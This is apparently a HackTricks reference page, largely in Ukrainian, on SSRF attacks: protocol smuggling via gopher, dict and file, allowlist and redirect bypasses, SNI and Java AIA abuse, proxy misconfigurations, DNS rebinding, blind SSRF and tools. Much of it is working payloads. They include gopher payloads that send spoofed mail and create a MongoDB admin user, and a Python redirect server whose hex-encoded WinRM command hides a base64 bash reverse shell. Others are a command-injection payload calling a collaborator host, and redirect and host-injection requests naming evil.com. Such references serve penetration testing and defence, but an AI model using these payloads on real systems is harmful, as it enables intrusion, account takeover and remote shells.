SSRF (Server Side Request Forgery)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Уразливість Server-side Request Forgery (SSRF) виникає, коли атакуючий маніпулює server-side application, змушуючи її виконувати HTTP requests до домену за своїм вибором. Ця вразливість піддає сервер довільним зовнішнім запитам, керованим атакуючим.

Захоплення SSRF

Перш за все потрібно зафіксувати SSRF-взаємодію, ініційовану вами. Щоб перехопити HTTP або DNS взаємодію, можна використовувати такі інструменти:

Обхід білого списку доменів

Зазвичай ви знайдете, що SSRF працює лише для певних доменів або URL, внесених у білий список. На наступній сторінці наведена підбірка технік для спроби обійти цей білий список:

URL Format Bypass

Обхід через Open Redirect

Якщо сервер правильно захищено, ви все одно можете обійти всі обмеження, експлуатуючи Open Redirect на веб-сторінці. Оскільки веб-сторінка дозволить SSRF до того самого домену і, ймовірно, буде слідувати за редиректами, ви можете використати Open Redirect, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу.
Read more here: https://portswigger.net/web-security/ssrf

Протоколи

  • file://
  • Обговорюється схема URL file://, яка вказує безпосередньо на /etc/passwd: file:///etc/passwd
  • dict://
  • Схема URL dict:// описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведений приклад ілюструє сконструйований URL, що націлений на конкретне слово, базу даних і номер запису, а також випадок, коли PHP-скрипт може бути зловживаний для підключення до DICT-сервера з обліковими даними, наданими атакуючим: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Вказано як протокол для захищеного передавання файлів через secure shell; наведено приклад, що показує, як PHP-скрипт може бути використаний для підключення до зловмисного SFTP-сервера: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, що працює через UDP, згадується з прикладом PHP-скрипту, призначеного для відправки запиту до TFTP-сервера. TFTP-запит зроблено до ‘generic.com’ на порту ‘12346’ за файлом ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Тут йдеться про Lightweight Directory Access Protocol, підкреслюючи його використання для керування та доступу до розподілених служб каталогів у мережах IP. Взаємодія з LDAP-сервером на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Описано методику використання SSRF для взаємодії зі службами SMTP на localhost, включно зі кроками для виявлення внутрішніх доменних імен та подальших дій розслідування на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Якщо SSRF виконується за допомогою curl, curl має функцію під назвою URL globbing, яка може бути корисною для обходу WAFs. Наприклад, у цьому writeup ви можете знайти приклад для path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Обговорюється здатність протоколу Gopher вказувати IP, порт і байти для комунікації з сервером, а також інструменти, такі як Gopherus і remote-method-guesser, для створення payloads. Наведено два різні випадки використання:

Gopher://

Використовуючи цей протокол, ви можете вказати IP, порт і байти, які сервер має відправити. Після цього ви фактично можете використати SSRF для спілкування з будь-яким TCP сервером (але спочатку потрібно знати, як спілкуватися з цим сервісом).
На щастя, ви можете використати Gopherus для створення payloads для кількох сервісів. Крім того, remote-method-guesser можна використати для створення gopher payloads для сервісів Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect до 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Створити користувача з username=admin, password=admin123 та permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF через Referrer header & Others

Аналітичне програмне забезпечення на серверах часто записує Referrer header для відстеження вхідних посилань, що ненавмисно піддає застосунки вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL, зазначені в Referrer header, щоб аналізувати вміст реферал-сайту. Щоб виявити ці вразливості, рекомендовано використовувати Burp Suite plugin Collaborator Everywhere, який використовує те, як аналітичні інструменти обробляють Referer header, щоб ідентифікувати потенційні площини атаки SSRF.

SSRF via SNI data from certificate

Ілюстрація помилкової конфігурації, яка може дозволити підключення до будь-якого бекенду при простому налаштуванні, наведена в прикладі конфігурації Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенда. Така настройка відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати просто вказавши потрібну IP-адресу або домен у полі SNI. Приклад експлуатації для примусового з’єднання з довільним бекендом, наприклад internal.host.com, за допомогою команди openssl наведено нижче:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Деякі TLS-стеки автоматично завантажують відсутні проміжні CA, використовуючи Authority Information Access (AIA) → CA Issuers URI всередині сертифіката іншої сторони. В Java, увімкнення -Dcom.sun.security.enableAIAcaIssuers=true під час роботи mTLS-сервісу змушує сервер звертатися до URI, контрольованих зловмисником, з клієнтського сертифіката під час handshake, до виконання будь-якої HTTP-логіки.

  • Requirements: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
  • Triggering SSRF (приклад для Java 21):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Вивід debug для Java certpath показує CertStore URI:http://localhost:8080, а nc захоплює HTTP-запит із керованим User-Agent з -Dhttp.agent, що доводить SSRF під час валідації сертифіката.

  • DoS via file://: встановлення AIA CA Issuers на file:///dev/urandom на Unix-подібних хостах змушує Java трактувати його як CertStore і читати необмежену кількість випадкових байтів, завантажуючи CPU-ядро і блокуючи наступні з’єднання навіть після відключення клієнта.

SSRF via CSS Pre-Processors

LESS — популярний CSS pre-processor, який додає змінні, mixin-и, функції і потужну директиву @import. Під час компіляції LESS-двигун буде підвантажувати ресурси, вказані в @import-виразах, і вбудовувати (“inline”) їхній вміст у результатний CSS, коли використовується опція (inline).

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

Може мати сенс спробувати такий payload: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

Якщо веб-сторінка автоматично створює PDF з інформацією, яку ви надали, ви можете вставити JS, який буде виконано самим PDF-генератором (сервером) під час створення PDF, і ви зможете зловживати SSRF. Find more information here.

From SSRF to DoS

Створіть кілька сесій і спробуйте завантажувати важкі файли, використовуючи SSRF із цих сесій.

SSRF PHP Functions

Check the following page for vulnerable PHP and even Wordpress functions:

PHP SSRF

SSRF Redirect to Gopher

Для деяких експлуатацій може знадобитися відправити redirect response (наприклад, щоб використати інший протокол, як gopher). Тут наведено різні python-коди для відповіді з редіректом:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Неправильно налаштовані proxies для SSRF

Трюки from this post.

Flask

Вразливий код Flask proxy ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкову назву хоста ім'ям користувача** і впровадити нову. Запит атаки:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Вразливий код:

Було виявлено, що можна почати шлях запиту символом ;, що дозволяє потім використати @ та інжектувати новий хост для доступу. Запит атаки:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

Вразливий PHP-код ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP дозволяє використовувати **символ `*` перед слешем у шляху** URL, проте має інші обмеження: його можна застосовувати лише для кореневого шляху `/`, а крапки `.` не дозволені перед першим слешем, тому, наприклад, потрібно використати dotless-hex encoded IP address:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Якщо у вас виникають problems щоб exfiltrate content from a local IP через CORS/SOP, DNS Rebidding можна використати для обходу цього обмеження:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin — інструмент для виконання DNS rebinding attacks. Він містить необхідні компоненти, щоб змінити прив’язку IP-адреси імені DNS сервера атаки на IP-адресу цільової машини та для доставляння attack payloads, щоб експлуатувати вразливе ПЗ на цільовій машині.

Перевірте також публічно запущений сервер за адресою http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. Ask the user/bot access a domain controlled by the attacker
  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
  5. In the DNS request a private IP address is given now (127.0.0.1 for example)
  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Різниця між blind SSRF та не-blind полягає в тому, що у blind ви не бачите відповіді на SSRF-запит. Через це його важче експлуатувати, оскільки ви зможете використовувати лише добре відомі вразливості.

Time based SSRF

Перевірка часу відповідей від сервера може дозволити встановити, чи існує ресурс чи ні (можливо доступ до існуючого ресурсу займає більше часу, ніж до неіснуючого)

From blid to full abusing status codes

According to this blog post, деякі blind SSRF можуть виникати тому, що навіть якщо цільовий URL відповідає з 200 статусом (наприклад AWS metadata), ці дані можуть бути неправильно відформатовані і тому додаток може відмовитись їх показувати.

Однак було виявлено, що відправляючи деякі redirect відповіді в діапазоні 305–309 у SSRF, можливо змусити додаток follow these redirects while entering an error mode, який більше не перевірятиме формат даних і може просто їх вивести.

The python server used to exploit this is th following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Кроки:

  • Спочатку 302 змушує додаток почати слідувати.
  • Потім він отримує 305 → 306 → 307 → 308 → 309 → 310.
  • Після 5-го дивного коду PoC нарешті повертає 302 → 169.254.169.254 → 200 OK.

Що відбувається всередині цілі:

  • libcurl сам по собі слідує 305–310; він просто нормалізує невідомі коди до «follow».
  • Після N дивних редиректів (тут ≥ 5) власна обгортка додатка вирішує «something is off» і переключається в режим помилки для налагодження.
  • У цьому режимі вона вивантажує весь ланцюжок редиректів разом з фінальним тілом назад зовнішньому caller.
  • Результат: attacker бачить кожен заголовок + metadata JSON — завдання виконано.

Зверніть увагу, що це цікаво для leak статус-кодів, які ви не могли leak раніше (наприклад 200). Однак, якщо якимось чином ви також могли б вибрати статус-код відповіді (уявіть, що ви можете вирішити, що AWS metadata відповідає зі статус-кодом 500), можуть існувати статус-коди, які безпосередньо leak вміст відповіді.

HTML-to-PDF рендерери як blind SSRF гаджети

Бібліотеки, такі як TCPDF (і обгортки на кшталт spipu/html2pdf), автоматично витягують будь-які URL, присутні в attacker-controlled HTML під час рендерингу PDF. Кожен атрибут <img> або <link rel="stylesheet"> обробляється на боці сервера через cURL, getimagesize(), або file_get_contents(), тож ви можете змусити PDF worker перевіряти внутрішні хости, навіть якщо жодна HTTP-відповідь вам не відображається.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 виконує кілька спроб отримання для кожного ресурсу <img>, тож один payload може згенерувати кілька запитів (корисно для таймінгових порт-сканів).
  • html2pdf копіює поведінку TCPDF для <img> і додає отримання CSS всередині Css::extractStyle(), яке просто викликає file_get_contents($href) після поверхневої перевірки схеми. Зловживайте цим, щоб звертатися до loopback-сервісів, діапазонів RFC1918 або ендпоінтів метаданих хмарного середовища.
  • Поєднайте цей SSRF-примітив з HTML-to-PDF path traversal tricks, щоб leak як внутрішні HTTP-відповіді, так і локальні файли, відрендерені у PDF.

Ті, хто займаються захистом, повинні видаляти зовнішні URL перед рендерингом або ізолювати рендерер у мережевому сандбоксі; до тих пір сприймайте PDF-генератори як сліпі SSRF-проксі.

Експлуатація SSRF у хмарному середовищі

Якщо ви знайдете SSRF-уразливість на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані:

Cloud SSRF

Платформи, вразливі до SSRF

Кілька відомих платформ містять або містили SSRF-уразливості, перевірте їх у:

SSRF Vulnerable Platforms

Інструменти

SSRFMap

Інструмент для виявлення та експлуатації SSRF-уразливостей

Gopherus

Цей інструмент генерує Gopher payloads для:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser — це сканер уразливостей Java RMI, який підтримує операції атаки для більшості поширених уразливостей Java RMI. Більшість доступних операцій підтримують опцію --ssrf для генерації SSRF payload для запитуваної операції. Разом з опцією --gopher можна безпосередньо згенерувати готові до використання gopher payloads.

SSRF Proxy

SSRF Proxy — це багатопотоковий HTTP-проксі-сервер, призначений для тунелювання HTTP-трафіку клієнта через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF).

Для практики

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks